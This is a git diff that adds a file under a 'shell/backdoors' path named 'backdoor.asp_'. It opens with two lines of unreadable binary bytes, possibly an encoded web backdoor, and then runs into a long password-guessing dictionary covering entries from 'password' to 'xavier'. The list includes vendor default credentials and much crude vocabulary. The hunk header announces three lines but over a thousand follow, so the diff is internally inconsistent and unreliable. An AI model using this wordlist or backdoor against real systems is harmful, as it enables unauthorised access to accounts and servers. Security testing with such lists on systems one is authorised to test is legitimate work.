new file mode 100644
index 0000000000..bc912038c7
--- /dev/null
+++ b/data/shell/backdoors/backdoor.asp_
@@ -0,0 +1,3 @@
+=ܩt bRU&hR}DtC!3y>7 pQMb-{Y?=lٲ]6a\5
+]iZ*pO|SkC)1Os|Ef@l{a2(Pr8Cөn%fߚ A=@(x~ֱ$ˉ)9
+password
+password!
+password.
+Password
+PASSWORD
+password1
+Password1
+password11
+password12
+password123
+password2
+password3
+password9
+passwords
+passwort
+pastor
+pasuwado
+pasvorto
+pasword
+pat
+patch
+patches
+patches1
+pathetic
+pathfind
+patience
+patoclero
+patrice
+patricia
+patrick
+patrick1
+patriot
+patriots
+patrol
+patton
+patty
+paul
+paula
+paulie
+paulina
+pauline
+paulis
+pavel
+pavement
+pavilion
+pavlov
+payday
+payton
+peace
+peace1
+peach
+peaches
+Peaches
+peaches1
+peachy
+peacock
+peanut
+peanut1
+peanuts
+Peanuts
+pearl
+pearljam
+pearls
+pearson
+pebble
+pebbles
+pecker
+pedro
+pedro1
+peekaboo
+peepee
+peeper
+peewee
+pegasus
+peggy
+pekka
+pelican
+pelirroja
+pencil
+pendejo
+penelope
+penetration
+peng
+penguin
+penguin1
+penguins
+penis
+penny
+penny1
+pentagon
+penthous
+pentium
+Pentium
+people
+peoria
+pepe
+pepito
+pepper
+Pepper
+pepper1
+peppers
+pepsi
+pepsi1
+percolate
+percy
+perfect
+perfect1
+performa
+perfstat
+pericles
+perkele
+perkins
+perlita
+perros
+perry
+persimmon
+person
+persona
+personal
+perstat
+pervert
+petalo
+pete
+peter
+Peter
+peter1
+peterbil
+peterk
+peterpan
+peters
+peterson
+petey
+petra
+petunia
+peugeot
+peyton
+phantom
+pharmacy
+phat
+pheonix
+phialpha
+phil
+philip
+philippe
+philips
+phillies
+phillip
+phillips
+philly
+phish
+phishy
+phoebe
+phoenix
+Phoenix
+phoenix1
+phone
+photo
+photos
+photoshop
+phpbb
+phyllis
+physics
+pian
+piano
+piano1
+pianoman
+pianos
+piao
+piazza
+picard
+picasso
+piccolo
+pickle
+pickles
+picks
+pickup
+pics
+picture
+pierce
+piercing
+pierre
+piff
+pigeon
+piggy
+piglet
+Piglet
+pigpen
+pikachu
+pillow
+pilot
+pimp
+pimpdadd
+pimpin
+pimpin1
+pimping
+pinball
+pineappl
+pineapple
+pinetree
+ping
+pingpong
+pinhead
+pink
+pinkfloy
+pinkfloyd
+pinky
+pinky1
+pinnacle
+piolin
+pioneer
+pipeline
+piper
+piper1
+pippen
+pippin
+pippo
+pirate
+pirates
+pisces
+piscis
+pissing
+pissoff
+pistol
+pistons
+pit
+pitbull
+pitch
+pixies
+pizza
+pizza1
+pizzaman
+pizzas
+pjm
+pk3x7w9W
+placebo
+plane
+planes
+planet
+planning
+plasma
+plastic
+plastics
+platinum
+plato
+platypus
+play
+playa
+playball
+playboy
+playboy1
+player
+player1
+players
+playing
+playmate
+playstat
+playstation
+playtime
+please
+pleasure
+plex
+ploppy
+plover
+plumber
+plus
+pluto
+plymouth
+pm
+pmi
+pn
+po
+po7
+po8
+poa
+pocket
+poetic
+poetry
+pogiako
+point
+pointer
+poipoi
+poison
+poiuy
+poiuyt
+pokemon
+pokemon1
+pokemon123
+poker
+poker1
+poland
+polar
+polaris
+pole
+police
+polina
+polish
+politics
+polly
+polo
+polopolo
+polska
+polynomial
+pom
+pomme
+pompey
+poncho
+pondering
+pong
+pontiac
+pony
+poochie
+poodle
+pooh
+poohbear
+poohbear1
+pookey
+pookie
+Pookie
+pookie1
+pool
+pool6123
+poonam
+poontang
+poop
+pooper
+poopie
+poopoo
+pooppoop
+poopy
+pooter
+popcorn
+popcorn1
+pope
+popeye
+popo
+popopo
+popper
+poppop
+poppy
+pork
+porkchop
+porn
+pornking
+porno
+porno1
+pornos
+pornporn
+porque
+porsche
+porsche1
+porsche9
+porsche911
+portal_demo
+portal_sso_ps
+porter
+portland
+portugal
+pos
+poseidon
+positive
+possum
+post
+postal
+poster
+postman
+potato
+pothead
+potter
+powder
+powell
+power
+power1
+powercartuser
+powers
+ppp
+PPP
+pppp
+ppppp
+pppppp
+ppppppp
+pppppppp
+praise
+prayer
+preacher
+precious
+predator
+prelude
+premier
+premium
+presario
+presiden
+president
+presley
+pressure
+presto
+preston
+pretty
+pretty1
+priest
+primary
+primus
+prince
+prince1
+princesa
+princess
+Princess
+princess1
+princeton
+pringles
+print
+printer
+printing
+prissy
+priv
+private
+private1
+privs
+probes
+prodigy
+prof
+professor
+profile
+profit
+program
+progress
+project
+prometheus
+promise
+property
+prophet
+prospect
+prosper
+protect
+protel
+proton
+protozoa
+provider
+prowler
+proxy
+prozac
+psa
+psalms
+psb
+psp
+p@ssw0rd
+psycho
+pub
+public
+pubsub
+pubsub1
+puck
+puddin
+pudding
+puffin
+puffy
+pukayaco14
+pulgas
+pulsar
+pumper
+pumpkin
+pumpkin1
+pumpkins
+punch
+puneet
+punisher
+punk
+punker
+punkin
+punkrock
+puppet
+puppies
+puppy
+puppydog
+purdue
+purple
+Purple
+purple1
+puss
+pussey
+pussie
+pussies
+pussy
+pussy1
+pussy123
+pussy69
+pussycat
+pussyman
+pussys
+putter
+puzzle
+pv
+pw123
+pyramid
+pyro
+python
+q12345
+q123456
+q1w2e3
+q1w2e3r4
+q1w2e3r4t5
+q1w2e3r4t5y6
+qa
+qawsed
+qaz123
+qazqaz
+qazwsx
+qazwsx1
+qazwsx123
+qazwsxed
+qazwsxedc
+qazxsw
+qdba
+qiang
+qiao
+qing
+qiong
+qosqomanta
+qp
+qq123456
+qqq111
+qqqq
+qqqqq
+qqqqqq
+qqqqqqq
+qqqqqqqq
+qqww1122
+qs
+qs_adm
+qs_cb
+qs_cbadm
+qs_cs
+qs_es
+qs_os
+qs_ws
+quality
+quan
+quantum
+quartz
+quasar
+quattro
+quebec
+queen
+queenie
+queens
+quentin
+querty
+quest
+question
+quincy
+qwaszx
+qwe
+qwe123
+qweasd
+qweasd123
+qweasdzxc
+qweewq
+qweqwe
+qwer
+qwer1234
+qwerasdf
+qwerqwer
+qwert
+Qwert
+qwert1
+qwert123
+qwert12345
+qwert40
+qwerty
+Qwerty
+qwerty1
+qwerty12
+qwerty123
+qwerty1234
+qwerty12345
+qwerty123456
+qwerty321
+qwerty7
+qwerty80
+qwertyu
+qwertyui
+qwertyuiop
+qwertz
+qwewq
+qwqwqw
+r0ger
+r2d2c3po
+rabbit
+Rabbit
+rabbit1
+rabbits
+race
+racecar
+racer
+racerx
+rachael
+rachel
+rachel1
+rachelle
+rachmaninoff
+racing
+racoon
+radar
+radical
+radio
+radiohea
+rafael
+rafaeltqm
+rafiki
+rage
+ragnarok
+rahatphan
+raider
+raiders
+Raiders
+raiders1
+railroad
+rain
+rainbow
+rainbow1
+rainbow6
+rainbows
+raindrop
+rainman
+rainyday
+raistlin
+Raistlin
+raleigh
+rallitas
+ralph
+ram
+rambler
+rambo
+rambo1
+ramirez
+ramona
+ramones
+rampage
+ramrod
+ramses
+ramsey
+ramzobur
+ranch
+rancid
+randall
+random
+Random
+randy
+randy1
+rang
+ranger
+ranger1
+rangers
+rangers1
+raphael
+raptor
+rapture
+raquel
+rascal
+rasdzv3
+rasputin
+rasta
+rasta1
+rastafarian
+ratboy
+rated
+ratio
+ratman
+raven
+raven1
+ravens
+raymond
+rayray
+razor
+razz
+re
+reader
+readers
+reading
+ready
+reagan
+real
+reality
+really
+realmadrid
+reaper
+reason
+rebecca
+Rebecca
+rebecca1
+rebel
+rebel1
+rebels
+reckless
+record
+records
+recovery
+red
+red123
+redalert
+redbaron
+redbird
+redbone
+redbull
+redcar
+redcloud
+reddevil
+reddog
+reddwarf
+redeye
+redfish
+redfox
+redhat
+redhead
+redhot
+redline
+redman
+redneck
+redred
+redrose
+redrum
+reds
+redskin
+redskins
+redsox
+redsox1
+redwing
+redwings
+redwood
+reebok
+reed
+reefer
+referee
+reflex
+reggae
+reggie
+regina
+reginald
+regional
+register
+reilly
+rejoice
+reliant
+reload
+remember
+remingto
+remote
+renault
+rene
+renee
+renegade
+reng
+rental
+repadmin
+repair
+replicate
+report
+reports
+rep_owner
+reptile
+republic
+republica
+requiem
+rescue
+research
+reserve
+resident
+respect
+retard
+retire
+retired
+revenge
+review
+revolution
+revolver
+rex
+reynolds
+reznor
+rg
+rghy1234
+rhiannon
+rhino
+rhjrjlbk
+rhonda
+rhx
+ricardo
+ricardo1
+rich
+richard
+richard1
+richards
+richie
+richmond
+rick
+ricky
+rico
+ride
+rider
+riders
+ridge
+right
+rightnow
+riley
+rimmer
+ring
+ringo
+ripken
+ripley
+ripper
+ripple
+risc
+rita
+river
+rivera
+rivers
+rje
+rla
+rlm
+rmail
+rman
+road
+roadkill
+roadking
+roadrunn
+roadrunner
+roadster
+rob
+robbie
+robby
+robert
+Robert
+robert1
+roberta
+roberto
+roberts
+robin
+robin1
+robinhood
+robins
+robinson
+robocop
+robot
+robotech
+robotics
+robyn
+roche
+rochelle
+rochester
+rock
+rocker
+rocket
+rocket1
+rockets
+rockford
+rockhard
+rockie
+rockies
+rockin
+rocknrol
+rocknroll
+rockon
+rocks
+rockstar
+rockstar1
+rockwell
+rocky
+rocky1
+rodent
+rodeo
+rodman
+rodney
+roger
+roger1
+rogers
+rogue
+roland
+rolex
+roll
+roller
+rollin
+rolling
+rollins
+rolltide
+roman
+romance
+romano
+romans
+romantico
+romeo
+romero
+rommel
+ronald
+ronaldo
+rong
+roni
+ronica
+ronnie
+roofer
+rookie
+rooney
+rooster
+root
+root123
+rootbeer
+rootroot
+rosario
+roscoe
+rose
+rosebud
+rosemary
+roses
+rosie
+rosita
+ross
+rossigno
+roswell
+rotten
+rouge
+rough
+route66
+rover
+rovers
+roxanne
+roxy
+roy
+royal
+royals
+royalty
+rr123456rr
+rrrr
+rrrrr
+rrrrrr
+rrrrrrrr
+rrs
+ruan
+rubber
+rubble
+ruben
+ruby
+rudeboy
+rudolf
+rudy
+rufus
+rugby
+rugby1
+rugger
+rules
+rumble
+runaway
+runescape
+runner
+running
+rupert
+rush
+rush2112
+ruslan
+russel
+russell
+Russell
+russia
+russian
+rusty
+rusty1
+rusty2
+ruth
+ruthie
+ruthless
+ryan
+s123456
+sabbath
+sabina
+sabine
+sabres
+sabrina
+sabrina1
+sadie
+sadie1
+safari
+safety
+safety1
+sahara
+saigon
+sailboat
+sailing
+sailor
+saint
+saints
+sairam
+saiyan
+sakura
+sal
+salami
+salasana
+salasona
+saleen
+salem
+sales
+sally
+sally1
+salmon
+salomon
+salope
+salou25
+salut
+salvador
+salvation
+sam
+sam123
+samantha
+samantha1
+sambo
+samiam
+samIam
+samm
+sammie
+sammy
+Sammy
+sammy1
+samoht
+sample
+sampleatm
+sampson
+samsam
+samson
+samsung
+samsung1
+samuel
+samuel22
+samurai
+sanane
+sanchez
+sancho
+sand
+sander
+sanders
+sandi
+sandie
+sandiego
+sandman
+sandra
+sandrine
+sandro
+sandwich
+sandy
+sandy1
+sanford
+sanfran
+sang
+sanity
+sanjose
+santa
+santafe
+santana
+santiago
+santos
+santoysena
+sap
+saphire
+sapper
+sapphire
+sapr3
+sara
+sarah
+sarah1
+saratoga
+sarita
+sasasa
+sascha
+sasha
+sasha1
+saskia
+sassy
+sassy1
+sasuke
+satan
+satan666
+satori
+saturday
+saturn
+Saturn
+saturn5
+sauron
+sausage
+sausages
+savage
+savanna
+savannah
+savior
+sawyer
+saxon
+sayang
+sbdc
+scamper
+scania
+scanner
+scarecrow
+scarface
+scarlet
+scarlett
+schalke
+schatz
+scheisse
+scheme
+schmidt
+schnapps
+school
+school1
+science
+scissors
+scooby
+scooby1
+scoobydo
+scoobydoo
+scooter
+scooter1
+score
+scorpio
+scorpio1
+scorpion
+scotch
+scotland
+scott
+scott1
+scottie
+scotty
+scout
+scouts
+scrabble
+scrapper
+scrappy
+scratch
+scream
+screamer
+screen
+screw
+screwy
+script
+scrooge
+scruffy
+scuba
+scuba1
+scully
+sdos_icsap
+seabee
+seadoo
+seagate
+seagull
+seahawks
+seamus
+sean
+searay
+search
+season
+seattle
+sebastia
+sebastian
+sebring
+secdemo
+second
+secret
+secret1
+secret3
+secrets
+secure
+security
+sedona
+seeker
+seeking
+seinfeld
+select
+selena
+selina
+seminole
+semper
+semperfi
+senator
+senators
+seneca
+seng
+senha
+senior
+senna
+sensei
+sensor
+sentinel
+seoul
+septembe
+september
+septiembre
+serega
+serena
+serenity
+sergeant
+sergei
+sergey
+sergio
+series
+serpent
+servando
+server
+service
+Service
+serviceconsumer1
+services
+sesame
+sestosant
+seven
+seven7
+sevens
+sex
+sex123
+sex4me
+sex69
+sexgod
+sexman
+sexo
+sexsex
+sexsexsex
+sexual
+sexx
+sexxx
+sexxxx
+sexxxy
+sexxy
+sexy
+sexy1
+sexy12
+sexy123
+sexy69
+sexybabe
+sexyboy
+sexygirl
+sexylady
+sexyman
+sexysexy
+seymour
+sf49ers
+sh
+shadow
+Shadow
+shadow1
+shadow12
+shadows
+shag
+shaggy
+shai
+shakira
+shalom
+shaman
+shampoo
+shamrock
+shamus
+shan
+shane
+shang
+shanghai
+shania
+shanna
+shannon
+shannon1
+shanny
+shanti
+shao
+shaolin
+sharc
+share
+shark
+sharks
+sharky
+sharon
+sharp
+shasta
+shauna
+shaved
+shawn
+shawna
+shayne
+shazam
+shearer
+sheba
+sheba1
+sheeba
+sheena
+sheep
+sheepdog
+sheffield
+shei
+sheila
+shelby
+sheldon
+shell
+shelley
+shelly
+shelter
+shelves
+shemale
+shen
+sheng
+shepherd
+sheridan
+sheriff
+sherlock
+sherman
+sherri
+sherry
+sherwood
+shibby
+shiloh
+shiner
+shinobi
+ship
+shirley
+shit
+shitface
+shithead
+shitty
+shiva
+shivers
+shock
+shocker
+shodan
+shoes
+shogun
+shojou
+shonuf
+shooter
+shopper
+shopping
+short
+shorty
+shorty1
+shotgun
+shou
+shovel
+show
+shower
+showme
+showtime
+shrimp
+shuai
+shuang
+shui
+shun
+shuo
+shuttle
+shutup
+shyshy
+sick
+sidekick
+Sidekick
+sidney
+siemens
+sierra
+Sierra
+sifra
+sifre
+sigma
+sigmachi
+signal
+signature
+si_informtn_schema
+silence
+silent
+silly
+silver
+silver1
+silverad
+silvia
+simba
+simba1
+simmons
+simon
+simon1
+simona
+simone
+simple
+simpson
+simpsons
+sims
+simsim
+sinatra
+sinbad
+sinclair
+sinegra
+singapor
+singer
+single
+sinister
+sinned
+sinner
+siobhan
+sirius
+sisma
+sissy
+sister
+sister12
+sisters
+site
+siteminder
+sites
+sithlord
+sixers
+sixpack
+sixsix
+sixty
+sixty9
+skate
+skater
+skater1
+skeeter
+Skeeter
+skibum
+skidoo
+skiing
+skillet
+skinhead
+skinner
+skinny
+skip
+skipper
+skipper1
+skippy
+skittles
+skull
+skunk
+skydive
+skyhawk
+skylar
+skylark
+skyler
+skyline
+skywalke
+skywalker
+slacker
+slamdunk
+slammer
+slapper
+slappy
+slapshot
+slaptazodis
+slater
+slave
+slave1
+slayer
+slayer1
+sleep
+sleeper
+sleepy
+slick
+slick1
+slidepw
+slider
+slim
+slimshad
+slinky
+slip
+slipknot
+slipknot1
+slipknot666
+slippery
+sloppy
+slowhand
+slugger
+sluggo
+slut
+sluts
+slutty
+smackdow
+small
+smart
+smart1
+smashing
+smeghead
+smegma
+smelly
+smile
+smile1
+smiles
+smiley
+smirnoff
+smith
+smiths
+smitty
+smoke
+smoke1
+smoker
+smokes
+smokey
+Smokey
+smokey1
+smokie
+smokin
+smoking
+smooch
+smooth
+smoothie
+smother
+smudge
+smurfy
+smut
+snake
+snake1
+snakes
+snapon
+snapper
+snapple
+snappy
+snatch
+sneakers
+sneaky
+snicker
+snickers
+sniffing
+sniper
+snooker
+snoop
+snoopdog
+snoopy
+Snoopy
+snoopy1
+snow
+snowball
+snowbird
+snowboar
+snowboard
+snowfall
+snowflak
+snowflake
+snowman
+snowski
+snuffy
+snuggles
+soap
+sober1
+soccer
+soccer1
+soccer10
+soccer12
+soccer2
+socrates
+softail
+softball
+software
+solaris
+soldier
+soledad
+soleil
+solitude
+solo
+solomon
+solution
+some
+somebody
+someday
+someone
+somerset
+somethin
+something
+sommer
+sonata
+sondra
+song
+sonia
+sonic
+sonics
+sonny
+sonoma
+sonrisa
+sony
+sonya
+sonyfuck
+sonysony
+sooner
+sooners
+sophia
+sophie
+soprano
+sossina
+soto
+soul
+soulmate
+sound
+south
+southern
+southpar
+southpark
+southpaw
+southside1
+sowhat
+soyhermosa
+space
+spaceman
+spain
+spam
+spanish
+spank
+spanker
+spanking
+spankme
+spanky
+spanner
+sparkle
+sparkles
+sparks
+sparky
+Sparky
+sparky1
+sparrow
+sparrows
+sparta
+spartan
+spartan1
+spartans
+spawn
+spazz
+speaker
+speakers
+spears
+special
+specialk
+spectre
+spectrum
+speed
+speedo
+speedway
+speedy
+Speedy
+spence
+spencer
+spencer1
+sperma
+sphinx
+sphynx
+spice
+spider
+spider1
+spiderma
+spiderman
+spiderman1
+spidey
+spierson
+spike
+spike1
+spiker
+spikes
+spikey
+spinner
+spiral
+spirit
+spit
+spitfire
+splash
+spliff
+splinter
+spock
+spoiled
+sponge
+spongebo
+spongebob
+spongebob1
+spooge
+spooky
+spoon
+spoons
+sport
+sporting
+sports
+sporty
+spot
+spotty
+spread
+spring
+springer
+springs
+sprint
+sprinter
+sprite
+sprocket
+sprout
+spud
+spunky
+spurs
+spurs1
+sputnik
+spyder
+sql
+sqlexec
+squall
+square
+squash
+squeak
+squeeze
+squires
+squirrel
+squirt
+srinivas
+ssp
+sss
+ssss
+sssss
+ssssss
+sssssss
+ssssssss
+stacey
+staci
+stacie
+stacy
+stafford
+stalin
+stalker
+stallion
+stan
+standard
+stanford
+stang
+stanley
+staples
+star
+star69
+starbuck
+starcraf
+starcraft
+stardust
+starfire
+starfish
+stargate
+starligh
+starlight
+starman
+starr
+stars
+starship
+starstar
+start
+start1
+starter
+startfinding
+startrek
+starwars
+starwars1
+state
+static
+station
+status
+Status
+stayout
+stealth
+steel
+steele
+steeler
+steelers
+steelers1
+stefan
+stefanie
+stefano
+steffen
+steffi
+stella
+stellar
+steph
+steph1
+stephan
+stephane
+stephani
+stephanie
+stephanie1
+stephen
+stephen1
+stephi
+stereo
+sterling
+Sterling
+steve
+steve1
+steven
+Steven
+steven1
+stevens
+stevie
+stewart
+stick
+stickman
+sticks
+sticky
+stiffy
+stimpy
+sting
+sting1
+stinger
+stingray
+stinker
+stinky
+stivers
+stock
+stocking
+stocks
+stockton
+stolen
+stone
+stone1
+stonecol
+stonecold
+stoned
+stoner
+stones
+stoney
+stop
+storage
+store
+stories
+storm
+storm1
+stormy
+straight
+strange
+stranger
+strangle
+strap
+strat
+stratford
+strato
+strat_passwd
+stratus
+strawber
+strawberry
+stream
+streaming
+street
+streets
+strength
+stress
+stretch
+strider
+strike
+striker
+string
+strip
+stripper
+stroke
+stroker
+strong
+stryker
+stuart
+stubby
+stud
+student
+student2
+studio
+studly
+studman
+stuff
+stumpy
+stunner
+stupid
+stupid1
+stuttgart
+style
+styles
+stylus
+suan
+subaru
+sublime
+submit
+suburban
+subway
+subzero
+success
+success1
+suck
+suckdick
+sucked
+sucker
+suckers
+sucking
+suckit
+suckme
+sucks
+sudoku
+sue
+sugar
+sugar1
+suicide
+sullivan
+sultan
+summer
+Summer
+summer1
+summer69
+summer99
+summers
+summit
+sumuinen
+sun
+sunbird
+sundance
+sunday
+sundevil
+sunfire
+sunflowe
+sunflower
+sunlight
+sunny
+sunny1
+sunnyday
+sunrise
+sunset
+sunshine
+Sunshine
+sunshine1
+super
+super1
+super123
+superb
+superfly
+superior
+superman
+Superman
+superman1
+supernov
+supersecret
+supersta
+superstage
+superstar
+superuser
+supervisor
+support
+supported
+supra
+supreme
+surf
+surfer
+surfing
+survivor
+susan
+susan1
+susana
+susanna
+susanne
+sushi
+susie
+sutton
+suzanne
+suzie
+suzuki
+suzy
+Sverige
+svetlana
+swallow
+swanson
+swearer
+sweden
+swedish
+sweet
+sweet1
+sweetheart
+sweetie
+sweetnes
+sweetness
+sweetpea
+sweets
+sweety
+swim
+swimmer
+swimming
+swinger
+swingers
+swinging
+switch
+switzer
+swoosh
+Swoosh
+sword
+swordfis
+swordfish
+swords
+swpro
+swuser
+sybil
+sydney
+sylveste
+sylvester
+sylvia
+sylvie
+symbol
+symmetry
+sympa
+synergy
+synthimatiko
+syracuse
+sys
+sysadm
+sysadmin
+sysman
+syspass
+sys_stnt
+system
+system5
+systempass
+systems
+syzygy
+tab
+tabasco
+tabatha
+tabitha
+taco
+tacobell
+tacoma
+taffy
+tahiti
+taiwan
+talbot
+talisman
+talks
+talon
+tamara
+tami
+tamie
+tammy
+tamtam
+tang
+tangerine
+tango
+tank
+tanker
+tanner
+tantra
+tanya
+tanya1
+tapani
+tape
+tara
+tardis
+targas
+target
+target123
+tarheel
+tarheels
+tarpon
+tarragon
+tartar
+tarzan
+tasha
+tasha1
+tata
+tatiana
+tattoo
+taurus
+Taurus
+taxman
+taylor
+Taylor
+taylor1
+tazdevil
+tazman
+tazmania
+tbird
+t-bone
+tbone
+tdos_icsap
+teacher
+team
+tech
+technics
+techno
+tectec
+teddy
+teddy1
+teddybea
+teddybear
+teen
+teenage
+teens
+teflon
+tekila
+tekken
+Telechargement
+telecom
+telefon
+telefono
+telephon
+telephone
+temp
+temp!
+temp123
+tempest
+templar
+temple
+temporal
+temporary
+temppass
+temptation
+temptemp
+tenchi
+tender
+tenerife
+teng
+tennesse
+tennis
+Tennis
+tequiero
+tequila
+terefon
+teresa
+terminal
+terminat
+terminator
+terra
+terrapin
+terrell
+terror
+terry
+terry1
+test
+test!
+test1
+test12
+test123
+test1234
+test2
+test3
+tester
+testi
+testing
+testing1
+testpass
+testpilot
+testtest
+test_user
+tetsuo
+texas
+texas1
+thailand
+thanatos
+thanks
+thankyou
+the
+theater
+theatre
+thebear
+thebest
+theboss
+thecat
+thecrow
+thecure
+thedog
+thedon
+thedoors
+thedude
+theend
+theforce
+thegame
+thegreat
+their
+thejudge
+thekid
+theking
+thelma
+thelorax
+theman
+theodore
+theone
+there
+theresa
+Theresa
+therock
+therock1
+these
+thesims
+thethe
+thewho
+thierry
+thing
+thinsamplepw
+thirteen
+this
+thisisit
+thomas
+Thomas
+thomas1
+thompson
+thong
+thongs
+thor
+thorne
+thrasher
+three
+threesom
+throat
+thuglife
+thumb
+thumbs
+thumper
+thunder
+Thunder
+thunder1
+thunderb
+thunderbird
+thursday
+thx1138
+tian
+tiao
+tibco
+tiberius
+tiburon
+ticket
+tickle
+tierno
+tiffany
+tiffany1
+tiger
+tiger1
+tiger123
+tiger2
+tigercat
+tigers
+tigers1
+tigger
+Tigger
+tigger1
+tigger2
+tight
+tightend
+tights
+tigre
+tika
+tim
+timber
+time
+timeout
+timmy
+timosha
+timosha123
+timothy
+timtim
+tina
+ting
+tinker
+tinkerbe
+tinkerbell
+tinkle
+tinman
+tintin
+tiny
+tip37
+tipper
+titan
+titanic
+titanium
+titans
+titimaman
+titleist
+titouf59
+tits
+titten
+titts
+titty
+tivoli
+tnt
+toast
+toaster
+tobias
+toby
+today
+todd
+toejam
+toffee
+together
+toggle
+toilet
+tokyo
+toledo
+tolkien
+tom
+tomahawk
+tomas
+tomato
+tomcat
+tommie
+tommy
+tommy1
+tommyboy
+tomorrow
+tomtom
+tong
+tongue
+tonight
+tony
+toocool
+tool
+toolbox
+toolman
+toon
+toonarmy
+tootie
+tootsie
+topcat
+topdog
+topgun
+tophat
+topher
+topography
+topper
+toriamos
+torino
+tornado
+toronto
+torpedo
+torres
+tortoise
+toshiba
+tosser
+total
+toto
+toto1
+tototo
+tottenha
+tottenham
+toucan
+touching
+tower
+towers
+town
+toxic
+toyota
+trace
+tracer
+tracey
+traci
+tracie
+track
+tracker
+tractor
+tracy
+trader
+traffic
+trailer
+trails
+train
+trainer
+training
+trains
+trance
+tranny
+trans
+transam
+transfer
+transit
+transport
+trapper
+trash
+trauma
+travel
+traveler
+travis
+tre
+treasure
+treble
+trebor
+tree
+treefrog
+trees
+treetop
+trek
+trevor
+trial
+triangle
+tribal
+tricia
+tricky
+trident
+trigger
+trinidad
+trinitro
+trinity
+trip
+triple
+tripleh
+tripod
+tripper
+trish
+trisha
+tristan
+triton
+triumph
+trivial
+trixie
+trojan
+trojans
+troll
+trombone
+trooper
+trophy
+tropical
+trouble
+trouble1
+trout
+troy
+truck
+trucker
+trucking
+trucks
+truelove
+truman
+trumpet
+trunks
+trust
+trustme
+trustno1
+truth
+tsdev
+tsunami
+tsuser
+tttttt
+tttttttt
+tty
+tuan
+tubas
+tucker
+tucson
+tudelft
+tuesday
+Tuesday
+tula
+tulips
+tuna
+tunafish
+tundra
+tunnussana
+tupac
+turbine
+turbo
+turbo1
+turbo2
+turkey
+turner
+turnip
+turtle
+tuscl
+tuttle
+tweety
+tweety1
+twelve
+twenty
+twiggy
+twilight
+twinkie
+twinkle
+twins
+twisted
+twister
+twitter
+tybnoq
+tycoon
+tyler
+tyler1
+typhoon
+tyrone
+tyson
+tyson1
+ultima
+ultimate
+ultra
+um_admin
+umbrella
+um_client
+umesh
+umpire
+undead
+underdog
+undertak
+undertaker
+underworld
+unhappy
+unicorn
+unicornio
+unique
+united
+unity
+universa
+universal
+universe
+universidad
+university
+unix
+unknown
+unreal
+upsilon
+uptown
+upyours
+uranus
+urchin
+ursula
+usa123
+usarmy
+user
+user0
+user1
+user2
+user3
+user4
+user5
+user6
+user7
+user8
+user9
+username
+usmarine
+usmc
+usnavy
+Usuckballz1
+util
+utility
+utlestat
+utopia
+uucp
+uuuuuu
+vacation
+vader
+vader1
+vagabond
+vagina
+val
+valencia
+valentin
+valentina
+valentinchoque
+valentine
+valeria
+valerie
+valeverga
+valhalla
+valkyrie
+valley
+vampire
+vampires
+vancouve
+vanessa
+vanessa1
+vanguard
+vanhalen
+vanilla
+vasant
+vauxhall
+vea
+vector
+vectra
+vedder
+vegas
+vegeta
+vegitto
+veh
+velo
+velocity
+velvet
+venice
+venom
+ventura
+venture
+venus
+veracruz
+verbatim
+veritas
+verizon
+vermont
+vernon
+Vernon
+verona
+veronica
+veronika
+versace
+vertex_login
+vertigo
+vette
+vfhbyf
+vfrcbv
+vh5150
+viagra
+vicki
+vickie
+vicky
+victor
+victor1
+victoria
+Victoria
+victoria1
+victory
+video
+videouser
+vienna
+vietnam
+viewsoni
+vif_dev_pwd
+viking
+vikings
+vikings1
+vikram
+villa
+village
+vincent
+Vincent
+vincent1
+vinnie
+vintage
+violet
+violin
+viper
+viper1
+vipergts
+vipers
+virago
+virgil
+virgin
+virginia
+virginie
+virtual
+virus
+viruser
+visa
+vision
+visitor
+visual
+vivian
+vladimir
+vodka
+volcano
+volcom
+volkswag
+volley
+volleyba
+volume
+volvo
+voodoo
+vortex
+voyager
+voyager1
+voyeur
+vrr1
+vrr2
+vsegda
+vulcan
+vvvv
+vvvvvv
+wachtwoord
+wachtwurd
+waffle
+wagner
+wagwoord
+waiting
+walden
+waldo
+walker
+wallace
+wall.e
+wallet
+walleye
+wally
+walmart
+walnut
+walrus
+walter
+walton
+wanderer
+wang
+wanker
+wanking
+wanted
+warcraft
+wareagle
+warez
+wargames
+warhamme
+warlock
+warlord
+warner
+warning
+warren
+warrior
+warrior1
+warriors
+warthog
+wasabi
+washburn
+washingt
+washington
+wasser
+wassup
+wasted
+watch
+watcher
+water
+water1
+waterboy
+waterloo
+Waterloo
+waters
+watford
+watson
+wayne
+wayne1
+wealth
+wearing
+weasel
+weather
+weaver
+web
+webber
+webcal01
+webdb
+webmaste
+webmaster
+webread
+webster
+Webster
+wedding
+wedge
+weed
+weed420
+weekend
+weenie
+weezer
+weiner
+weird
+welcome
+welcome1
+welcome123
+welder
+wendi
+wendy
+wendy1
+weng
+werder
+werdna
+werewolf
+werner
+wert
+wesley
+west
+western
+westham
+weston
+westside
+westwood
+wetpussy
+wetter
+wfadmin
+wg8e3wjf
+wh
+whale1
+what
+whatever
+whatever1
+whatnot
+whatsup
+whatthe
+whatwhat
+wheels
+whiplash
+whiskers
+whiskey
+whisky
+whisper
+whistler
+whit
+white
+white1
+whiteboy
+whiteout
+whitesox
+whitey
+whiting
+whitney
+whocares
+wholesale
+whore
+whoville
+whynot
+wibble
+wicked
+widget
+wiesenhof
+wifey
+wilbur
+wild
+wildbill
+wildcard
+wildcat
+wildcats
+wilder
+wildfire
+wildman
+wildone
+wildwood
+will
+william
+william1
+williams
+williamsburg
+willie
+willis
+willow
+Willow
+willy
+wilma
+wilson
+win95
+wind
+windmill
+window
+windows
+Windows
+windsor
+windsurf
+winger
+wingman
+wingnut
+wings
+winner
+winner1
+winners
+winnie
+Winnie
+winniethepooh
+winona
+winston
+winston1
+winter
+winter1
+wip
+wireless
+wisconsin
+wisdom
+wiseguy
+wishbone
+wives
+wizard
+wizard1
+wizards
+wkadmin
+wkproxy
+wksys
+wk_test
+wkuser
+wms
+wmsys
+woaini
+wob
+wolf
+wolf1
+wolf359
+wolfen
+wolfgang
+wolfie
+wolfman
+wolfpac
+wolfpack
+wolverin
+wolverine
+Wolverine
+wolves
+woman
+wombat
+wombat1
+women
+wonder
+wonderboy
+wood
+woodie
+woodland
+Woodrow
+woodstoc
+woodwind
+woody
+woody1
+woofer
+woofwoof
+woohoo
+wookie
+woowoo
+word
+wordpass
+wordup
+work
+work123
+working
+workout
+world
+World
+wormwood
+worship
+worthy
+wow12345
+wowwow
+wps
+wraith
+wrangler
+wrench
+wrestle
+wrestler
+wrestlin
+wrestling
+wright
+wrinkle1
+writer
+writing
+wsh
+wsm
+wutang
+www
+wwwuser
+wwww
+wwwwww
+wwwwwww
+wwwwwwww
+wxcvbn
+wyoming
+xademo
+xanadu
+xander
+xanth
+xavier
